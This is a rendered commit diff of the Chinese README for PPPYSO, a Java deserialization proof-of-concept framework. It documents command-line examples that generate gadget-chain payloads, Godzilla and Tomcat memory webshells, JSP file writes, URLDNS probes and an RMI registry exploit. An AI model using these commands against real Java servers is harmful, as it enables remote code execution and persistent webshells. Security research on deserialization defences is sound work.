2
2
3
3
By. Whoopsunix
4
4
5
- # 🚩Introduction
5
+ # 🌏 Begin
6
6
7
- PPPYSO 是一个 Java 反序列化概念验证框架,可以根据配置生成各种增强 Payload,通过动态代理的方式实现 JavaClass 增强减少依赖的同时兼容
8
- ` javax/jakarta ` 标准。
7
+ + 🗿 PPPYSO 是一个Java 反序列化概念验证框架,仅为安全防护研究提供参考,所以不会开放任何绕过性质的研究成果,并且不保证稳定性。基于子项目 [ JavaRce] ( https://github.com/Whoopsunix/JavaRce ) 实现,最终目的是实现 [ RASP] ( https://github.com/Whoopsunix/PPPRASP ) 层面的拦截。
9
8
10
- 框架分模块构建,每个模块通过一个 Helper 来管理生成内容,包含以下模块:
9
+ + 👏 欢迎 issue
10
+
11
+ 框架分模块构建,每个模块通过一个 Helper 来管理生成内容,可以根据配置生成各种增强 Payload,通过动态代理的方式实现 JavaClass 增强减少依赖的同时兼容 ` javax/jakarta ` 标准。包含以下模块:
11
12
12
13
### 反序列化模块
13
14
14
- 参考 [ Marshalling Pickles] ( https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles ) 中提到的 gadget
15
- chain 概念,将 [ ysoserial] ( https://github.com/frohoff/ysoserial ) 原先的调用链拆分为入口点 (kick-off), 触发点 (sink)
16
- ,其余为中间的调用链 (chain),针对各个部分针对性增强。
15
+ 参考 [ Marshalling Pickles] ( https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles ) 中提到的 gadget chain 概念,将 [ ysoserial] ( https://github.com/frohoff/ysoserial ) 原先的调用链拆分为入口点 (kick-off), 触发点 (sink),其余为中间的调用链 (chain),针对各个部分针对性增强。
17
16
18
17
- [x] ` InvokerTransformer ` 功能增强
19
18
- [x] ` TemplatesImpl ` JavaClass增强、AbstractTranslet 可选移除、_ bytecodes 特征消除
@@ -25,40 +24,48 @@ chain 概念,将 [ysoserial](https://github.com/frohoff/ysoserial) 原先的
25
24
26
25
### JavaClass 模块
27
26
28
- 基于子项目 [ JavaRce] ( https://github.com/Whoopsunix/JavaRce ) ,在实现上不同。PPPYSO 中通过动态代理的方式实现内存马,减少依赖的同时兼容
29
- javax/jakarta 标准。JavaClass 动态类名、内存马、Rce 回显。
27
+ 基于子项目 [ JavaRce] ( https://github.com/Whoopsunix/JavaRce ) ,在实现上不同。PPPYSO 中通过动态代理的方式实现内存马,减少依赖的同时兼容 javax/jakarta 标准。JavaClass 动态类名、内存马、Rce 回显。
30
28
31
29
- [x] Loader + Proxy 积极测试兼容中
32
30
- [x] 兼容 javax/jakarta 标准
33
31
- [x] 结果增强输出,eg. SPEL+FreeMarker
34
32
- [x] 高版本 JDK 下 SPEL 注入
35
33
- [x] 功能增强积极增加中 Exec、Godzilla、Behinder、Sou5
36
- - [x] Unsafe 实现高版本 JDK 字节码加载兼容
34
+ - [x] Unsafe 实现 JDK 17+ 字节码加载(name module 反射限制绕过)
37
35
38
- ### common 模板
36
+ ### Common 模板
39
37
40
- 实现序列化数据的加解密、序列化、WAF 绕过等功能
38
+ 实现序列化数据的加解密、序列化等功能
41
39
42
40
- [x] 序列化:原生、XStream、HexAscii
43
- - [x] WAF 绕过 :UTF8Mix 2 3 字节加密
41
+ - [x] 序列化类型 :UTF8Mix 2 3 字节转换
44
42
- [x] 支持组合结果输出:文件、Base64、GZIP,eg. gzip,base64
45
43
44
+ ### Exploit 模块
45
+
46
+ - [ ] 缓慢移植
47
+
48
+
49
+
46
50
### 交互
47
51
48
52
目前支持 CLI、Yaml 配置,通过
49
53
50
- 直接运行生成模板配置文件
54
+ 直接运行生成模板配置文件,并展示支持的调用链
51
55
52
56
![ image-20240416174431675] ( attachments/image-20240416174431675.png )
53
57
58
+ [ WIKI] ( https://whoopsunix.com/docs/category/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%B0%83%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90 ) 里~~ 调用链的分析比较久远也可以看看~~ ,之后有时间会尽量补全 gadget chain 图
59
+
60
+ ![ Gadget ChainBy. Whoopsunix] ( attachments/Gadget-ChainBy-Whoopsunix.png )
61
+
54
62
Cli 通过 ` java -jar PPPYSO-{version}-jar-with-dependencies.jar -g Coherence1 {-h | -help} ` 获取帮助信息
55
63
56
64
![ image-20240416174734965] ( attachments/image-20240416174734965.png )
57
65
58
66
### 编译
59
67
60
- 项目完全开源,可直接下载 Release 版本,或自行编译,编译成功后在 scheduler/target
61
- 下生成 ` PPPYSO-${version}-jar-with-dependencies.jar `
68
+ 项目完全开源,可直接下载 Release 版本,或自行编译,编译成功后在 scheduler/target 下生成 ` PPPYSO-${version}-jar-with-dependencies.jar `
62
69
63
70
```
64
71
# 安装依赖
@@ -67,12 +74,6 @@ mvn clean
67
74
mvn clean package -Dmaven.test.skip
68
75
```
69
76
70
- # 🌏 0x00 Begin
71
-
72
- 🗿 PPPYSO 是一个概念验证框架,仅为安全研究提供参考,不保证稳定性。
73
-
74
- 👏 欢迎 issue
75
-
76
77
# 0x01 URLDNS 增强
77
78
78
79
```
@@ -83,15 +84,15 @@ mvn clean package -Dmaven.test.skip
83
84
-ds
84
85
```
85
86
86
- URLDNS 支持组件利用链探测和类探测
87
+ URLDNS 支持组件利用链探测和类探测,还在完善中
87
88
88
89
## 组件探测
89
90
90
- 组件探测参考 [ Urldns ] ( https://github.com/kezibei/Urldns ) 项目实现,改了一些类可以通过 ` -dp show ` 展示目前规则已写的类
91
+ 组件探测参考 [ Urldns ] ( https://github.com/kezibei/Urldns ) 项目实现,改了一些类可以通过 ` -show ` 展示目前规则已写的类
91
92
92
- + ` -dp ` 指定组件, ` all ` 探测所有
93
+ ![ image-20240515103534792 ] ( attachments/image-20240515103534792.png )
93
94
94
- ![ image-20240423142525765 ] ( attachments/image-20240423142525765.png )
95
+ + ` -dp ` 指定组件, ` all ` 探测所有
95
96
96
97
eg. ` -g URLDNS -host 7ox24q.dnslog.cn -dp "all" `
97
98
@@ -228,8 +229,7 @@ eg. `-g commonscollections1 -e FileWrite -sfp /tmp/1.jsp -fc 123456`
228
229
229
230
![ image-20240419143818623] ( attachments/image-20240419143818623.png )
230
231
231
- ` -split ` 设置文件分片后生成, ` -part ` 指定每个分片的大小,默认 100kb。不过该功能不建议用在 ` TemplatesImpl ` 增强的链,用
232
- Base64 编码只能分片很小。
232
+ ` -split ` 设置文件分片后生成, ` -part ` 指定每个分片的大小,默认 100kb。不过该功能不建议用在 ` TemplatesImpl ` 增强的链,用 Base64 编码只能分片很小。
233
233
234
234
eg. ` -g commonscollections1 -e FileWrite -sfp /tmp/itest -lfp /tmp/iox -split -part 1000 `
235
235
@@ -352,8 +352,7 @@ eg. `-g commonscollections2 -e JavaClass -jht MemShell -mw Tomcat -ms Listener -
352
352
353
353
## LocalLoad 本地字节码加载
354
354
355
- ` InvokerTransformer ` 增强的链子也提供了加载字节码的方式,默认采用
356
- ScriptEngineManager,也可以选择 ` org.mozilla.javascript.DefiningClassLoader.defineClass() `
355
+ ` InvokerTransformer ` 增强的链子也提供了加载字节码的方式,默认采用 ScriptEngineManager,~~ 也可以选择(换汤不换药 懒得删了)~~ ` org.mozilla.javascript.DefiningClassLoader.defineClass() `
357
356
358
357
```
359
358
-lf [Default | RHINO]
@@ -375,7 +374,7 @@ JavaClass 也可以单独生成,并且提供加密封装
375
374
376
375
eg. ` -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -je FreeMarker `
377
376
378
- 某 FreeMarker 高版本 JDK 环境利用 ` -e JavaClass -jht MemShell -mw Spring -ms Interceptor -msf Godzilla -je SPEL,FreeMarker -jme JDK17 -mt raw `
377
+ eg. 某 FreeMarker 高版本 JDK 环境利用 ` -e JavaClass -jht MemShell -mw Spring -ms Interceptor -msf Godzilla -je SPEL,FreeMarker -jme JDK17 -mt raw `
379
378
380
379
![ image-20240504120717253] ( attachments/image-20240504120717253.png )
381
380
@@ -439,11 +438,19 @@ eg. `-g ROME -cmd "open -a Calculator.app" -wrap`
439
438
440
439
![ image-20240427155050391] ( attachments/image-20240427155050391.png )
441
440
442
- # 调用链学习
441
+ # 0x06 Exploit 模块
442
+
443
+ 在 gadget 增强的前面拼接 exp 使用该模块 ,` exp -show ` 查看支持的 EXP
444
+
445
+ ![ image-20240515111004602] ( attachments/image-20240515111004602.png )
446
+
447
+
448
+
449
+ eg. ` exp RMIRegistryExploit -g CommonsCollections2 -cmd "open -a Calculator.app" -ehost 127.0.0.1 -eport 1099 `
450
+
451
+ ![ image-20240515095932731] ( attachments/image-20240515095932731.png )
443
452
444
- 附上一张 gadget chain 图
445
453
446
- ![ Gadget ChainBy. Whoopsunix] ( attachments/Gadget-ChainBy-Whoopsunix.png )
447
454
448
455
# Thanks
449
456
0 commit comments